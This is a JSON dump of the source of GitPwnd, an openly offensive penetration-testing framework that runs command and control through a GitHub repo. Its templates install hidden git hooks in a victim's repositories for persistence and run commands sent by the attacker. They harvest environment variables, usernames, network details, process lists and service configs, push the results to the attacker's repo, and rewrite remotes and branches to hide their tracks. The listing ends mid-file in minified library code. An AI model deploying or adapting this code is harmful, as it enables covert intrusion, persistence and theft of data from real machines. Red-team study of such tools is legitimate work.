[
  {
    "path": ".gitignore",
    "content": "*.pyc\n.DS_Store\n*~\n\n# These are auto-generated from a template\nbootstrap.py\nhomebrew.python.ncc.plist\nserver_creds.yml\n\ndata/\nconfig.yml\n"
  },
  {
    "path": "README.md",
    "content": "# GitPwnd\n\nGitPwnd is a tool to aid in network penetration tests. GitPwnd allows an\nattacker to send commands to compromised machines and receive the results back\nusing a git repo as the command and control transport layer. By using git as the\ncommunication mechanism, the compromised machines don't need to communicate\ndirectly with your attack server that is likely at a host or IP that's\nuntrusted by the compromised machine.\n\nCurrently GitPwnd assumes that the command and control git repo is hosted on\nGitHub, but this is just an implementation detail for the current iteration.\nThe same technique is equally applicable to any service that can host a git\nrepo, whether it is BitBucket, Gitlab, etc.\n\n## Setup and Installation\n\nThe GitPwnd setup script (`setup.py`) and server (`server/`) were written and\ntested using Python3, but Python 2.7 will likely work as well. The bootstrapping process\nto set up persistence on compromised machines was tested on Python 2.7.\n\n### Set up GitPwnd\n```\n# Install Python dependencies\n$ pip3 install -r requirements.txt --user\n\n# Set up config\n$ cp config.yml.example config.yml\n# Configure config.yml with your custom info\n\n# Run the setup script\n$ python3 setup.py config.yml\n```\n\n### Run the GitPwnd Server\n\n~~~\n$ cd server/\n$ pip3 install -r requirements.txt --user\n$ python3 server.py\n~~~\n\n## Contributing\n\nContributions welcome! Please feel free to file an issue or PR and we'll get\nback to you as soon as possible.\n\n## Version Info\n\n### v0.1\n\n* Initial PoC feature-complete for BlackHat USA 2017.\n\n## TODO\n\n* [ ] Write a much more descriptive README\n"
  },
  {
    "path": "config.yml.example",
    "content": "# This file, if passed as the first argument to `setup.py`, will be used for\n# the values for setting up gitpwnd.\n\n# Enter the git clone URL of a popular library in the language used by the\n# machine you're targeting.\n# e.g. If you're attacking a Ruby on Rails shop, choose a popular gem.\nbenign_repo: \"TODO\"\n\n# The personal access token for the primary GitHub account, the one who will own\n# the private repo used for command and control\n#\n# This token needs the following permissions:\n#  - The top-level checkbox for \"repo\"\n#  - \"gist\"\n#  - \"delete_repo\"\n#  - \"admin:repo_hook\"\nmain_github_token: \"TODO\"\n\n\n# The name to use for the private GitHub repo used for command and control.\n# Unless you have a specific reason not to, it's probably best to use the\n# same name as `benign_repo`.\ngithub_c2_repo_name: \"TODO\"\n\n\n# The personal access token for the secondary GitHub account. setup.py will generate\n# an SSH key and add it to this account which will then be given to compromised nodes.\n# Because of this, ensure that this account has minimal access to sensitive repos.\n#\n# NOTE:\n# - This token needs to have the following permissions:\n#   - \"admin:public_key\" permission so that setup.py can add public keys.\n#   - \"repo\" so that it can access the main repo that has been shared\n# - This does not need to be a paid GitHub account. It will be added as a collaborator\n#   to the private GitHub account that owns the private command and control repo.\nsecondary_github_token: \"\"\n\n# The name of the SSH key generated for the secondary GitHub account\nssh_key_name: \"gitpwnd\"\n\n# URL to gitpwnd attacker server, must be reachable by GitHub\n# e.g. https://<IP> or https://<domain_name>\n# NOTE: The server runs by default on port 5000, so include the \n# port the server is running on in the below URL unless you're running\n# on 80 or 443.\nattacker_server: \"TODO\"\n"
  },
  {
    "path": "gitpwnd/agent.py.template",
    "content": "#!/usr/bin/env python\n\nimport os\nfrom subprocess import Popen, PIPE\nimport imp\nimport uuid\nimport string\n\n#####################################################################\n# These settings need to be customized before the agent is deployed #\n#####################################################################\n\n# URL of our backdoored repo\nREPO_CLONE_URL = \"$repo_clone_url\"\n\n# Name to give the remote backdoored repo\nREMOTE_REPO_NAME = \"$remote_repo_name\"\n\n# Master branch for backdoored repo\nREMOTE_REPO_MASTER_BRANCH = \"$remote_repo_master_branch\"\n\nNODE_ID = \"$node_id\"\n\nRESULTS_FILE = \"results.json\"\n\n# Runs the passed string as a shell command\ndef run_command(command):\n    print(\"Running: %s\" % command)\n    proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True)\n    (out, err) = proc.communicate()\n    print(out, err)\n    return out, err\n\n# Adds a new remote to the git repo in the current directory\ndef add_git_remote(remote_name, git_url):\n    cmd = \"git remote add %s %s\" % (remote_name, git_url)\n    run_command(cmd)\n\ndef git_checkout_branch(branch_name):\n    cmd = \"git checkout -b %s\" % (branch_name)\n    run_command(cmd)\n\ndef git_pull(remote_repo_name, remote_repo_master_branch):\n    cmd = \"git pull %s %s\" % (remote_repo_name, remote_repo_master_branch)\n    run_command(cmd)\n\ndef git_add(files):\n    cmd = \"git add %s\" % (files)\n    run_command(cmd)\n\ndef git_commit(message):\n    cmd = \"git commit -m '%s'\" % (message)\n    run_command(cmd)\n\ndef git_push(remote_name, branch_name):\n    cmd = \"git push %s %s\" % (remote_name, branch_name)\n    run_command(cmd)\n\n# TODO: finish me\n# Eventually this will look at who the current node is and see what commands they should run\ndef should_run_commands(repo_dir):\n    return True\n\n# Load payload.py and run the commands it contains\ndef run_payload(repo_dir):\n    # the backdoored repo isn't on our path so load it's source directly so we can use it\n    payload_module = imp.load_source('payload', os.path.join(repo_dir, 'payload.py'))\n\n    payload = payload_module.Payload(NODE_ID)\n    payload.run()\n    payload.save_results()\n    return payload\n\ndef get_commit_info():\n    # TODO: eventually grab prior commit messages and use those or do some other\n    # steps to make it look legit. For now just return mostly hardcoded values.\n    return NODE_ID, \"Make errors reported more clear\"\n\n# Current state of the repo:\n# - Our backdoored repo has been added as a remote, named `remote_repo_name`\n# - We have an additional local branch we've saved command output into\n#\n# We want to get rid of all these things so that we're left with only the benign\n# remote and default master they'd see on GitHub/whatever.\ndef hide_git_tracks(remote_repo_name, commit_branch):\n    run_command(\"git checkout -b tmp\")\n\n    run_command(\"git branch -d %s\" % commit_branch) # delete the new branch we created\n    run_command(\"git branch -D master\") # delete master in case commits from our backdoored repo have mingled\n    run_command(\"git remote remove %s\" % remote_repo_name) # remove backdoored remote\n\n    run_command(\"git pull origin master\") # get benign repo latest\n    run_command(\"git checkout master\")\n\n    run_command(\"git branch -D tmp\")\n\n# NOTE: this assumes we're in .git/hooks, or at least appends \"../../\" to __file__\ndef get_current_repo_root():\n    cur_file = os.path.dirname(os.path.realpath(__file__))\n    return os.path.abspath(os.path.join(cur_file, \"..\", \"..\"))\n\ndef rewrite_script_add_node_id(path_to_this_script, node_id):\n    print(\"[*] Rewriting node_id\")\n    with open(path_to_this_script, 'r') as f:\n        templatized_this_file = string.Template(f.read())\n\n    replaced_contents = templatized_this_file.safe_substitute({\"node_id\": node_id})\n\n    with open(path_to_this_script, 'w') as f:\n        f.write(replaced_contents)\n        f.flush()\n\ndef main(repo_dir, private_git_url, remote_repo_name, remote_repo_master_branch):\n    path_to_this_script = os.path.abspath(__file__)\n    # cd to REPO_DIR\n    os.chdir(repo_dir)\n\n    # Add the remote that will have commands for us\n    add_git_remote(remote_repo_name, private_git_url)\n\n    # checkout master of this new remote\n    git_checkout_branch(remote_repo_name + \"/\" + remote_repo_master_branch)\n\n    # If you wish to set tracking information for this branch you can do so with:\n    # git branch --set-upstream-to=<remote>/<branch> master\n\n    # git pull\n    git_pull(remote_repo_name, remote_repo_master_branch)\n\n    # determine if you should run the commands\n    if should_run_commands(repo_dir):\n\n        commit_branch, commit_message = get_commit_info()\n\n        # Generate node ID if we haven't already\n        if commit_branch == \"$node\" + \"_id\": # have to break it up else this comparison will also get rewritten\n            node_id = str(uuid.uuid4())\n            rewrite_script_add_node_id(path_to_this_script, node_id)\n            commit_branch = node_id\n\n        git_checkout_branch(commit_branch)\n\n        # grab further changes server-side from the last time we pushed\n        git_pull(remote_repo_name, commit_branch)\n\n        # run the commands and save the results to file\n        payload_obj = run_payload(repo_dir)\n\n        # commit the results\n        # the branch we'll commit this node's info to to push to the server\n        git_add(RESULTS_FILE)\n\n        # Git doesn't let you commit if you don't set user.name and user.email\n        need_to_reset_git_info = False\n        if git_commit_info_is_unset():\n            need_to_reset_git_info = True\n            set_git_commit_info(\"Gitpwnd\", \"gitpwnd@nccgroup.trust\")\n\n        git_commit(commit_message)\n\n        # push results\n        git_push(remote_repo_name, commit_branch)\n\n        # Clean up locally\n        if need_to_reset_git_info:\n            remove_git_commit_info()\n\n        hide_git_tracks(remote_repo_name, commit_branch)\n    else:\n        print(\"[*] Skipping these commands, they're not for this node\")\n\n    run_command(\"git branch -D %s\" % (remote_repo_name + \"/\" + remote_repo_master_branch))\n\n# Is git's user.name or user.email unset?\ndef git_commit_info_is_unset():\n    return_codes = []\n    for field in [\"name\", \"email\"]:\n        out = subprocess.Popen(\"git config --get user.%s\" % (field), stdout=subprocess.PIPE, shell=True)\n        _ = out.communicate()[0]\n        return_codes.append(out.returncode)\n\n    # If either one didn't return a value, say that git info is unset\n    if return_codes.count(0) != 2:\n        return True\n    return False\n\n# Unsets the git user.name and user.email\ndef remove_git_commit_info():\n    run_command(\"git config --unset user.name\")\n    run_command(\"git config --unset user.email\")\n\n# Sets git's user.name and user.email to provided values\ndef set_git_commit_info(username, email):\n    run_command(\"git config user.name %s\" % username)\n    run_command(\"git config user.email %s\" % email)\n\n\n# This agent file has been placed in a hook file in the command and control\n# repo and is called by git hooks in other repos.\nif __name__ == \"__main__\":\n    repo_dir = get_current_repo_root()\n    main(repo_dir, REPO_CLONE_URL, REMOTE_REPO_NAME, REMOTE_REPO_MASTER_BRANCH)\n"
  },
  {
    "path": "gitpwnd/bootstrap.py.template",
    "content": "# This will be hosted in a private GitHub gist and piped into eval()\n# on a compromised node.\n#\n# It performs the following tasks:\n# 1. Finds where on the OS python libraries are stored.\n# 2. Clones the command and control repo there.\n# 3. Installs a git hook into the backdoored repo so that whenever a git command is ran,\n#    new commands are pulled and their results pushed to the server.\n#    - The primary code that does this is placed in a git hook in the command\n#      and control repo.\n#\n# This repo includes a GitHub personal access token for the secondary account\n# so that it can receive commands and push results from the GitHub C2 repo.\n\n\n# This is the first thing ran on the victim computer after the backdoored\n# repo has been cloned. This file will be at the root of the repo\n\nimport plistlib # builtin on OS X on Python 2.7\nimport glob\nimport sys\nimport shutil\nimport os\nimport subprocess\nimport time\nimport string\nimport site\n\nPUBLIC_GIT_URL = \"$benign_repo\"\nREPO_DIR_NAME = \"$github_c2_repo_name\"\n\n# The git clone URL for the command and control repo. Note that the secondary\n# user's personal access token is included in the URL so that this new machine\n# can clone and push to it.\nREPO_CLONE_URL = \"$repo_clone_url\"\n\nHOOK_TYPES = [\"pre-push\", \"post-merge\", \"pre-commit\"]\nDEFAULT_AGENT_HOOK = \"post-merge.sample\"\n\ndef install_agent(c2_repo_base_dir, agent_code, hook_type):\n    # http://githooks.com/\n    # post-merge hook is called whenever `git pull` is ran.\n    # https://github.com/git/git/blob/master/Documentation/githooks.txt#L178\n    agent_file = os.path.join(c2_repo_base_dir, \".git\", \"hooks\", hook_type)\n\n    with open(agent_file, \"w\") as f:\n        f.write(agent_code)\n\n    return agent_file\n\n# Undo any local changes that make us differ from master\n# Local changes can make mucking with branches difficult, see bootstrap_osx() for more details\ndef undo_local_changes():\n    try:\n        subprocess.check_output(\"git checkout -- *\", shell=True)\n    except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code\n        print(\"[!] Undoing local changes failed\")\n        return False\n\n    return True\n\n# When this bootstrap script is ran, origin points to our backdoored repo.\n# This method makes origin point to the official benign repo, covering our tracks.\ndef make_remote_benign(c2_repo_dir, benign_git_url):\n    orig_dir = os.path.abspath(os.curdir)\n\n    try:\n        os.chdir(c2_repo_dir)\n        subprocess.check_output(\"git remote remove origin\", shell=True)\n        subprocess.check_output(\"git remote add origin \" + benign_git_url, shell=True)\n\n        # OK, now we need to cover our tracks - we've added the backdoor code in\n        # additional commits past the benign repo's master. If we just tried to use\n        # their master directly it wouldn't delete our additional commits. So instead we:\n        # - Change to a temporary branch so we can delete master\n        # - Grab their master branch and set it to ours\n        # - Delete the temporary branch\n\n        # git checkout -b tmp\n        subprocess.check_output(\"git checkout -b tmp\", shell=True)\n\n        # git branch -d master\n        subprocess.check_output(\"git branch -d master\", shell=True)\n\n        # git pull origin master\n        subprocess.check_output(\"git pull origin master\", shell=True)\n\n        # git checkout master\n        subprocess.check_output(\"git checkout master\", shell=True)\n\n        # git branch -d tmp\n        subprocess.check_output(\"git branch -D tmp\", shell=True)\n\n    except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code\n        print(\"[!] Changing the `origin` remote failed\")\n        return False\n\n    finally:\n        os.chdir(orig_dir)\n\ndef find_base_repo_dir():\n    return site.USER_SITE # default package location for pip install --user\n    # ~/Library/Python/<python_version>/lib/python/site-packages/ on OS X\n    # ~/.local/lib/python<python_version>/site-packages on Ubuntu\n\ndef find_final_repo_location():\n    install_dir = find_base_repo_dir()\n    if not os.path.exists(install_dir):\n        os.makedirs(install_dir)\n\n    # the directory we're going to clone the command and control repo to\n    final_repo_location = os.path.join(install_dir, REPO_DIR_NAME)\n    if os.path.exists(final_repo_location):\n        if is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK):\n            return False, final_repo_location # don't need to do anything, already installed\n        else:\n            final_repo_location += \"-dev\"\n            if os.path.exists(final_repo_location) and is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK):\n                    return False, final_repo_location\n\n    return True, final_repo_location\n\n\n# Checks if `dir_path` is the root of our command and control repo\ndef is_our_c2_repo(dir_path, hook_type):\n    agent_string = \"hide_git_tracks\" # arbitrary string that's unlikely to appear in not our hook\n\n    agent_file = os.path.join(dir_path, \".git\", \"hooks\", hook_type)\n    if not os.path.isfile(agent_file):\n        return False\n\n    file_contents = open(agent_file, 'r').read()\n    if agent_string in file_contents:\n        return True\n\n    return False\n\n# Returns the contents of what should be placed in the agent file\ndef get_agent_code(c2_base_dir):\n    # assume the agent file is agent.py in the root of the c2 repo\n    agent_file_path = os.path.join(c2_base_dir, \"agent.py\")\n\n    return open(agent_file_path, \"r\").read()\n\n# Run the agent in the command and control repo, which is responsible for\n# pulling new commands, running them, commiting the results, and pushing them\n# back to be received by the attacker server\ndef run_agent(agent_path):\n    subprocess.check_output(agent_path, shell=True)\n\n# Returns the contents that are going to be written to git hooks in the targeted\n# and other git repos on the victim machine\ndef get_hook_contents(agent_file_path):\n    return \"\"\"#!/bin/bash\n%s &\n\"\"\" % agent_file_path\n\ndef install_git_hook(git_repo_root_dir, hook_contents, hook_type):\n    hook_file = os.path.join(git_repo_root_dir, \".git\", \"hooks\", hook_type)\n\n    with open(hook_file, \"w\") as f:\n        f.write(hook_contents)\n\n    subprocess.check_output(\"chmod u+x %s\" % hook_file, shell=True)\n\n# Returns the absolute path to this base of this repo\ndef find_root_of_git_repo(path):\n    cur_dir = path\n    while True:\n        cur_dir = os.path.abspath(cur_dir)\n\n        if cur_dir == \"/\":\n            return None\n\n        if os.path.isdir(os.path.join(cur_dir, \".git\")):\n            return cur_dir\n        else:\n            cur_dir = os.path.join(cur_dir, \"..\")\n\ndef is_git_directory(path):\n    exit_code = subprocess.call([\"git\", \"status\"], cwd=path, stdout=open(os.devnull, 'w'), stderr=subprocess.STDOUT)\n    return (exit_code == 0)\n\ndef find_git_repos(base_dir):\n    git_repos = []\n    for directory in next(os.walk(base_dir))[1]:\n        full_path = os.path.abspath(directory)\n        if is_git_directory(full_path):\n            git_repos.append(full_path)\n    return git_repos\n\n# Wrapper for bootstrapping that does different things based on platform\ndef bootstrap():\n    need_to_clone_repo, install_dir = find_final_repo_location()\n    if not need_to_clone_repo:\n        print(\"[!] Backdoor repo already installed in: %s\" % install_dir)\n    else:\n        if not os.path.exists(install_dir):\n            os.makedirs(install_dir)\n\n        print(install_dir)\n        subprocess.check_output(\"git clone %s %s\" % (REPO_CLONE_URL, install_dir), shell=True)\n\n    # Install agent code in cloned command and control repo\n    agent_file_path = install_agent(install_dir, get_agent_code(install_dir), \"post-merge.sample\")\n    print(\"[*] Installing agent to: %s\" % agent_file_path)\n\n    # chmod the agent so it's executable\n    subprocess.check_output(\"chmod u+x %s\" % agent_file_path, shell=True)\n\n    run_agent(agent_file_path)\n\n    hook_types = HOOK_TYPES\n    cur_dir_root = find_root_of_git_repo(\".\")\n    if cur_dir_root == \"/\":\n        print(\"[!] Didn't find a git repo in this or parent directories until /\")\n    else:\n        print(\"[*] Installing git hooks to: %s\" % cur_dir_root)\n\n        for hook in hook_types:\n            install_git_hook(cur_dir_root, get_hook_contents(agent_file_path), hook)\n\n        other_git_repos = find_git_repos(os.path.join(cur_dir_root, \"..\"))\n        other_git_repos = [x for x in other_git_repos if x != cur_dir_root] # don't install where we already have\n        for repo in other_git_repos:\n            for hook in hook_types:\n                install_git_hook(repo, get_hook_contents(agent_file_path), hook)\n\n    # # Remove the backdoored git repo, set the public benign one to origin\n    make_remote_benign(install_dir, PUBLIC_GIT_URL)\n\nif __name__ == \"__main__\":\n    bootstrap()\n"
  },
  {
    "path": "gitpwnd/payload.py.template",
    "content": "import sys\nimport os\nimport json\nfrom subprocess import Popen, PIPE\nimport uuid\nimport datetime\nimport pwd\n\nclass Payload:\n\n    #############################\n    ## Core required functions ##\n    #############################\n\n    def __init__(self, node_id):\n        self.results = {}\n        self.node_id = node_id\n\n    # This is the main() method that's called by compromised machines\n    # Gather info/run commands and store the results in self.results\n    def run(self):\n        self.results[\"username\"]    = self.get_username()\n        self.results[\"whoami\"]      = self.get_whoami()\n        self.results[\"mac_address\"] = self.get_mac_address()\n        self.results[\"env\"]         = self.get_env()\n        self.results[\"ifconfig\"]    = self.get_ifconfig()\n        self.results[\"ps_services\"] = self.get_services()\n\n        self.results[\"node_id\"] = self.get_node_id()\n        self.results[\"python_version\"] = self.get_python_version()\n        self.results[\"service_configs\"] = self.get_service_configs()\n        self.results[\"time_ran\"] = self.get_time_ran()\n\n\n    # This is called after run() as the final step in the payload, saving the results\n    # to a file.\n    # - agent.py handles committing and pushing the results.\n    def save_results(self, filename = \"results.json\"):\n        with open(filename, 'w') as f:\n            json.dump(self.results, f)\n\n\n    #############\n    ## Helpers ##\n    #############\n\n    # Runs the passed string as a shell command\n    def run_command(self, command):\n        print(\"[*] running: %s\" % command)\n        try:\n            proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True)\n            (out, err) = proc.communicate()\n            return {\"stdout\": out, \"stderr\": err}\n        except:\n            return {\"stdout\": \"\", \"stderr\": \"Command threw an exception\"}\n\n\n    #################################################################\n    # Below are various helper functions to gather environment info #\n    #################################################################\n\n    def get_python_version(self):\n        print(\"[*] get_python_version\")\n        x = sys.version_info\n        return {\"major\": x.major, \"minor\": x.minor, \"micro\": x.micro,\n                \"releaselevel\": x.releaselevel}\n\n    def get_env(self):\n        return dict(os.environ) # dumping this to JSON fails unless you explicitly cast it to a dict\n\n    def get_username(self):\n        try:\n            # apparently os.getlogin() is known to fail. Good job.\n            # https://stackoverflow.com/questions/3100750/running-command-in-background\n#            return os.getlogin()\n            return pwd.getpwuid(os.geteuid()).pw_name\n        except:\n            return \"os.getlogin() failed\"\n\n    def get_whoami(self):\n    \treturn self.run_command(\"whoami\")[\"stdout\"].strip()\n\n    def get_ifconfig(self):\n        return self.run_command(\"ifconfig\")\n\n    #############################################################################\n    #Payloads for Linux Priv Esc tasks                                          #\n    #Credit : https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/#\n    #############################################################################\n\n    # Get running services\n    def get_services(self):\n        return self.run_command(\"ps aux\")\n\n    #Misconfigured Services and vuln plugins\n    def get_service_configs(self):\n        return {\n            \"syslog\": self.run_command(\"cat /etc/syslog.conf\"),\n            \"chttp\": self.run_command(\"cat /etc/chttp.conf\"),\n            \"lighthttpd\": self.run_command(\"cat /etc/lighttpd.conf\"),\n            \"cupsd\": self.run_command(\"cat /etc/cups/cupsd.conf\"),\n            \"inetd\": self.run_command(\"cat /etc/inetd.conf\"),\n            \"my\": self.run_command(\"cat /etc/my.conf\"),\n            \"httpd\": self.run_command(\"cat /etc/httpd/conf/httpd.conf\"),\n            \"httpd_opt\": self.run_command(\"cat /opt/lampp/etc/httpd.conf\")\n        }\n\n    # http://stackoverflow.com/questions/159137/getting-mac-address\n    def get_mac_address(self):\n        mac_addr = uuid.getnode()\n        if mac_addr == uuid.getnode(): # apparently sometimes it'll lie, see the stack overflow link\n            return ':'.join((\"%012X\" % mac_addr)[i:i+2] for i in range(0, 12, 2))\n        else:\n            \"maybewrong \" + ':'.join((\"%012X\" % mac_addr)[i:i+2] for i in range(0, 12, 2))\n\n    def get_time_ran(self):\n        return str(datetime.datetime.now())\n\n    def get_node_id(self):\n        return self.node_id\n"
  },
  {
    "path": "requirements.txt",
    "content": "PyGithub\npyyaml\nipdb\n"
  },
  {
    "path": "server/README.md",
    "content": "# GitPwnd Server\n\nThe GitPwnd server listens for webhook pushes from GitHub (currently) or other\ngit providers that occur when a `git push` has occurred to the command and\ncontrol git repo set up by `../setup.py`.\n\nIt then automatically extracts the output of the commands run by the\ncompromised machine and stores them locally.\n\nThe web interface then allows you to view the extracted information.\n\n## Getting Set Up\n\n~~~\n$ pip install -r requirements.txt --user\n\n# or use virtualenv, etc\n~~~\n\n## Running\n\n~~~\n$ python3 server.py\n~~~\n\n## Routes\n\nQuick notes on important routes:\n\n* POST `/api/repo_push` - hook you set up in GitLab/GitHub/etc for the backdoored repo that sends a push whenever the repo is pushed to.\n  * [GitHub docs](https://developer.github.com/webhooks/)\n  * [Gitlab docs](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/user/project/integrations/webhooks.md) - will integrate in the future.\n\n"
  },
  {
    "path": "server/gitpwnd/__init__.py",
    "content": "from flask import Flask\nfrom gitpwnd.util.file_helper import FileHelper\nfrom flask_basicauth import BasicAuth\nimport yaml\nimport os\nimport ipdb\n\napp = Flask(__name__)\n\n# Parse basic auth creds from file\nwith open(\"server_creds.yml\", 'r') as f:\n    server_config = yaml.load(f)\n\napp.config['BASIC_AUTH_USERNAME'] = server_config[\"basic_auth_username\"]\napp.config['BASIC_AUTH_PASSWORD'] = server_config[\"basic_auth_password\"]\napp.config['HOOK_SECRET'] = server_config[\"hook_secret\"]\n\n# TODO: fix the naming confusion. This is the path to a local version of the repo\n# we're using for command and control\napp.config[\"BACKDOORED_REPOS_PATH\"] = os.path.dirname(server_config[\"benign_repo_path\"])\n\napp.config[\"APP_ROOT\"] = os.path.dirname(os.path.abspath(__file__))\n\napp.config[\"INTEL_ROOT\"] = os.path.join(app.config[\"BACKDOORED_REPOS_PATH\"], \"..\", \"intel\")\napp.config[\"INTEL_ROOT\"] = os.path.abspath(app.config[\"INTEL_ROOT\"])\n\nbasic_auth = BasicAuth(app)\n\n# Ensure some directories we'll be storing important things in are created\nFileHelper.ensure_directory(app.config[\"BACKDOORED_REPOS_PATH\"])\nFileHelper.ensure_directory(app.config[\"INTEL_ROOT\"])\n\nfrom gitpwnd import controllers\n"
  },
  {
    "path": "server/gitpwnd/controllers.py",
    "content": "from flask import Flask\nfrom flask import render_template\nfrom flask import redirect\nfrom flask import url_for\nfrom flask import request, session, send_file, send_from_directory\nfrom flask import make_response # for setting cookies\nimport flask\nimport ipdb\nimport json\n\nfrom functools import wraps\n\nfrom gitpwnd import app, basic_auth\nfrom gitpwnd.util.git_helper import GitHelper\nfrom gitpwnd.util.file_helper import FileHelper\nfrom gitpwnd.util.intel_helper import IntelHelper\nfrom gitpwnd.util.crypto_helper import CryptoHelper\n\n# Basic auth adapted from the following didn't quite do what I wanted\n# http://flask.pocoo.org/snippets/8/\n\n# Instead used:\n# https://flask-basicauth.readthedocs.io/en/latest/\n\n##########\n# Routes #\n##########\n\n@app.route(\"/\")\n@basic_auth.required\ndef index():\n    return render_template(\"index.html\")\n\n@app.route(\"/setup\")\n@basic_auth.required\ndef setup():\n    return render_template(\"setup.html\")\n\n@app.route(\"/nodes\")\n@basic_auth.required\ndef nodes():\n    intel_results = IntelHelper.parse_all_intel_files(app.config[\"INTEL_ROOT\"])\n    if len(intel_results) == 0:\n        return render_template(\"nodes.html\", intel=intel_results)\n    else:\n        intel_results = IntelHelper.json_prettyprint_intel(intel_results)\n        return render_template(\"nodes.html\", intel=intel_results)\n\n##############\n# API Routes #\n##############\n\n@app.route(\"/api/repo/receive_branch\", methods=[\"POST\"])\ndef receive_branch():\n    payload = request.get_json()\n    secret = request.headers[\"X-Hub-Signature\"]\n\n    if not CryptoHelper.verify_signature(payload, secret):\n        abort(500, {\"message\": \"Signatures didn't match!\"})\n\n    repo_name = payload[\"repository\"][\"name\"]\n    branch = payload[\"ref\"].split(\"/\")[-1]\n    GitHelper.import_intel_from_branch(repo_name, branch, app.config[\"BACKDOORED_REPOS_PATH\"], app.config[\"INTEL_ROOT\"])\n    return \"OK\"\n"
  },
  {
    "path": "server/gitpwnd/static/css/prism.css",
    "content": "/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */\n/**\n * prism.js default theme for JavaScript, CSS and HTML\n * Based on dabblet (http://dabblet.com)\n * @author Lea Verou\n */\n\ncode[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tcolor: black;\n\tbackground: none;\n\ttext-shadow: 0 1px white;\n\tfont-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;\n\ttext-align: left;\n\twhite-space: pre;\n\tword-spacing: normal;\n\tword-break: normal;\n\tword-wrap: normal;\n\tline-height: 1.5;\n\n\t-moz-tab-size: 4;\n\t-o-tab-size: 4;\n\ttab-size: 4;\n\n\t-webkit-hyphens: none;\n\t-moz-hyphens: none;\n\t-ms-hyphens: none;\n\thyphens: none;\n}\n\npre[class*=\"language-\"]::-moz-selection, pre[class*=\"language-\"] ::-moz-selection,\ncode[class*=\"language-\"]::-moz-selection, code[class*=\"language-\"] ::-moz-selection {\n\ttext-shadow: none;\n\tbackground: #b3d4fc;\n}\n\npre[class*=\"language-\"]::selection, pre[class*=\"language-\"] ::selection,\ncode[class*=\"language-\"]::selection, code[class*=\"language-\"] ::selection {\n\ttext-shadow: none;\n\tbackground: #b3d4fc;\n}\n\n@media print {\n\tcode[class*=\"language-\"],\n\tpre[class*=\"language-\"] {\n\t\ttext-shadow: none;\n\t}\n}\n\n/* Code blocks */\npre[class*=\"language-\"] {\n\tpadding: 1em;\n\tmargin: .5em 0;\n\toverflow: auto;\n}\n\n:not(pre) > code[class*=\"language-\"],\npre[class*=\"language-\"] {\n\tbackground: #f5f2f0;\n}\n\n/* Inline code */\n:not(pre) > code[class*=\"language-\"] {\n\tpadding: .1em;\n\tborder-radius: .3em;\n\twhite-space: normal;\n}\n\n.token.comment,\n.token.prolog,\n.token.doctype,\n.token.cdata {\n\tcolor: slategray;\n}\n\n.token.punctuation {\n\tcolor: #999;\n}\n\n.namespace {\n\topacity: .7;\n}\n\n.token.property,\n.token.tag,\n.token.boolean,\n.token.number,\n.token.constant,\n.token.symbol,\n.token.deleted {\n\tcolor: #905;\n}\n\n.token.selector,\n.token.attr-name,\n.token.string,\n.token.char,\n.token.builtin,\n.token.inserted {\n\tcolor: #690;\n}\n\n.token.operator,\n.token.entity,\n.token.url,\n.language-css .token.string,\n.style .token.string {\n\tcolor: #a67f59;\n\tbackground: hsla(0, 0%, 100%, .5);\n}\n\n.token.atrule,\n.token.attr-value,\n.token.keyword {\n\tcolor: #07a;\n}\n\n.token.function {\n\tcolor: #DD4A68;\n}\n\n.token.regex,\n.token.important,\n.token.variable {\n\tcolor: #e90;\n}\n\n.token.important,\n.token.bold {\n\tfont-weight: bold;\n}\n.token.italic {\n\tfont-style: italic;\n}\n\n.token.entity {\n\tcursor: help;\n}\n\n"
  },
  {
    "path": "server/gitpwnd/static/js/prism.js",
    "content": "/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */\nvar _self=\"undefined\"!=typeof window?window:\"undefined\"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{},Prism=function(){var e=/\\blang(?:uage)?-(\\w+)\\b/i,t=0,n=_self.Prism={manual:_self.Prism&&_self.Prism.manual,util:{encode:function(e){return e instanceof a?new a(e.type,n.util.encode(e.content),e.alias):\"Array\"===n.util.type(e)?e.map(n.util.encode):e.replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/\\u00a0/g,\" \")},type:function(e){return Object.prototype.toString.call(e).match(/\\[object (\\w+)\\]/)[1]},objId:function(e){return e.__id||Object.defineProperty(e,\"__id\",{value:++t}),e.__id},clone:function(e){var t=n.util.type(e);switch(t){case\"Object\":var a={};for(var r in e)e.hasOwnProperty(r)&&(a[r]=n.util.clone(e[r]));return a;case\"Array\":return e.map&&e.map(function(e){return n.util.clone(e)})}return e}},languages:{extend:function(e,t){var a=n.util.clone(n.languages[e]);for(var r in t)a[r]=t[r];return a},insertBefore:function(e,t,a,r){r=r||n.languages;var l=r[e];if(2==arguments.length){a=arguments[1];for(var i in a)a.hasOwnProperty(i)&&(l[i]=a[i]);return l}var o={};for(var s in l)if(l.hasOwnProperty(s)){if(s==t)for(var i in a)a.hasOwnProperty(i)&&(o[i]=a[i]);o[s]=l[s]}return n.languages.DFS(n.languages,function(t,n){n===r[e]&&t!=e&&(this[t]=o)}),r[e]=o},DFS:function(e,t,a,r){r=r||{};for(var l in e)e.hasOwnProperty(l)&&(t.call(e,l,e[l],a||l),\"Object\"!==n.util.type(e[l])||r[n.util.objId(e[l])]?\"Array\"!==n.util.type(e[l])||r[n.util.objId(e[l])]||(r[n.util.objId(e[l])]=!0,n.languages.DFS(e[l],t,l,r)):(r[n.util.objId(e[l])]=!0,n.languages.DFS(e[l],t,null,r)))}},plugins:{},highlightAll:function(e,t){var a={callback:t,selector:'code[class*=\"language-\"], [class*=\"language-\"] code, code[class*=\"lang-\"], [class*=\"lang-\"] code'};n.hooks.run(\"before-highlightall\",a);for(var r,l=a.elements||document.querySelectorAll(a.selector),i=0;r=l[i++];)n.highlightElement(r,e===!0,a.callback)},highlightElement:function(t,a,r){for(var 